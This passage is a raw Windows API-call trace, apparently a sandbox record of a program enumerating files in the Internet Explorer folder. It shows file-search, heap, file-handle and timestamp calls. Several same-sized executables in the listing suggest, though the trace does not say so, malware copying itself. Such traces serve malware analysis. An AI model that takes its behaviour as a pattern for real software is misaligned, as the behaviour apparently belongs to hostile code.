ftLastAccessTime.dwLowDateTime=0xb0bb787f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bdd9df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll", cAlternateFileName="")) returned 1 [0245.442] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bb787f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bb787f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bdd9df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll", cAlternateFileName="")) returned 0 [0245.442] GetLastError () returned 0x12 [0245.442] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0245.442] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0245.442] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aea60) returned 1 [0245.442] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0245.442] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9fe95fb0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9fe95fb0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="")) returned 1 [0245.442] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Internet Explorer" (normalized: "c:\\program files\\internet explorer"), fInfoLevelId=0x0, lpFileInformation=0x15ff678 | out: lpFileInformation=0x15ff678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9fe95fb0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9fe95fb0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0245.443] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer" (normalized: "c:\\program files\\internet explorer"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0245.443] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0245.443] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x9424a8 [0245.444] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9424a8, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x9424a8, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0245.444] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9424a8) returned 1 [0245.444] NtClose (Handle=0x1b4) returned 0x0 [0245.444] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0245.444] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0245.444] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aea60 [0245.444] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0245.444] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Internet Explorer\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd5a0 [0245.445] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9fe95fb0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9fe95fb0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.446] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x404ee910, ftCreationTime.dwHighDateTime=0x1d57814, ftLastAccessTime.dwLowDateTime=0x4f4c03f0, ftLastAccessTime.dwHighDateTime=0x1d57fce, ftLastWriteTime.dwLowDateTime=0x4f4c03f0, ftLastWriteTime.dwHighDateTime=0x1d57fce, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="bitkinex.exe", cAlternateFileName="")) returned 1 [0245.446] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.446] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.446] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.446] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.446] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.446] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.446] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x986f590, ftCreationTime.dwHighDateTime=0x1d5b98b, ftLastAccessTime.dwLowDateTime=0xd3456ab0, ftLastAccessTime.dwHighDateTime=0x1d57089, ftLastWriteTime.dwLowDateTime=0xd3456ab0, ftLastWriteTime.dwHighDateTime=0x1d57089, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="contributions.exe", cAlternateFileName="")) returned 1 [0245.446] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.446] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.446] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.446] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.446] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.446] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.446] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0245.446] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x340db900, ftCreationTime.dwHighDateTime=0x1d55b55, ftLastAccessTime.dwLowDateTime=0x926d0f80, ftLastAccessTime.dwHighDateTime=0x1d5bd72, ftLastWriteTime.dwLowDateTime=0x926d0f80, ftLastWriteTime.dwHighDateTime=0x1d5bd72, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="filezilla.exe", cAlternateFileName="")) returned 1 [0245.446] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.446] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.446] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.446] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.446] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.446] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.447] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f55643f, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x5f55643f, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x23ff2d20, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xce00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hmmapi.dll", cAlternateFileName="")) returned 1 [0245.447] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.447] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.447] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.447] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.447] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.447] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.447] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9a30bbb, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0xb9a30bbb, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0xb9a30bbb, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xa59, dwReserved0=0x0, dwReserved1=0x0, cFileName="ie8props.propdesc", cAlternateFileName="")) returned 1 [0245.447] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.447] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.447] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.447] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.447] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.447] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x934cb0 [0245.447] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0245.447] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.447] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa37b6f98, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa37b6f98, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa37b6f98, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="iecompat.dll", cAlternateFileName="")) returned 1 [0245.447] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.447] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.447] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.447] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.447] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.448] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.448] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa37b6f98, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa37b6f98, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa37dd0f9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf7600, dwReserved0=0x0, dwReserved1=0x0, cFileName="iedvtool.dll", cAlternateFileName="")) returned 1 [0245.448] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.448] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.448] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.448] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.448] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.448] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.448] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa357baf4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa357baf4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa357baf4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x41e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieinstal.exe", cAlternateFileName="")) returned 1 [0245.448] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.448] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.448] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.448] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.448] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.448] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.448] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdecd4578, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xdecd4578, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe3cb04e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ielowutil.exe", cAlternateFileName="")) returned 1 [0245.448] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.448] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.448] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.448] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.448] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.448] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.448] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3803259, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa3803259, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa3803259, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6e200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieproxy.dll", cAlternateFileName="")) returned 1 [0245.448] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.449] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.449] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.449] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.449] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.449] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.449] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa357baf4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa357baf4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa357baf4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x47a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEShims.dll", cAlternateFileName="")) returned 1 [0245.449] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.449] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.449] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.449] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.449] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.449] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.449] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa387567a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa387567a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa387567a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa9b10, dwReserved0=0x0, dwReserved1=0x0, cFileName="iexplore.exe", cAlternateFileName="")) returned 1 [0245.449] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.449] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.449] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.449] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.449] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.449] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.449] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3686496, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa3686496, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa36ac5f7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdbgui.dll", cAlternateFileName="")) returned 1 [0245.449] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.449] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.449] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.450] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.450] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.450] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.450] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe54abd0a, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xe54abd0a, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x2b495380, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x23600, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdebuggeride.dll", cAlternateFileName="")) returned 1 [0245.450] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.450] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.450] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.450] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.450] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.450] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.450] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe41a0e8a, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xe41a0e8a, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x2b4b9d70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x20400, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSProfilerCore.dll", cAlternateFileName="")) returned 1 [0245.450] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.450] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.450] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.450] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.450] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.450] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.450] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa36ac5f7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa36ac5f7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa36ac5f7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x46400, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsprofilerui.dll", cAlternateFileName="")) returned 1 [0245.450] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.450] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.450] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.450] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.450] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.451] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.451] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x825d0f8, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0x825d0f8, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0x5909b005, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x579f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdbg2.dll", cAlternateFileName="")) returned 1 [0245.451] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.451] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.451] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.451] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.451] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.451] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.451] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x594eb7ab, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0x594eb7ab, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0x439e9300, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x83200, dwReserved0=0x0, dwReserved1=0x0, cFileName="pdm.dll", cAlternateFileName="")) returned 1 [0245.451] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.451] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.451] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.451] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.451] RtlAllocateHeap 